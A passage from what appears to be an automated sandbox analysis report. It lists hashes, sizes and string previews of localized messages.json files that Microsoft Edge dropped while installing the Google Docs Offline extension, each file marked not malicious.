Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
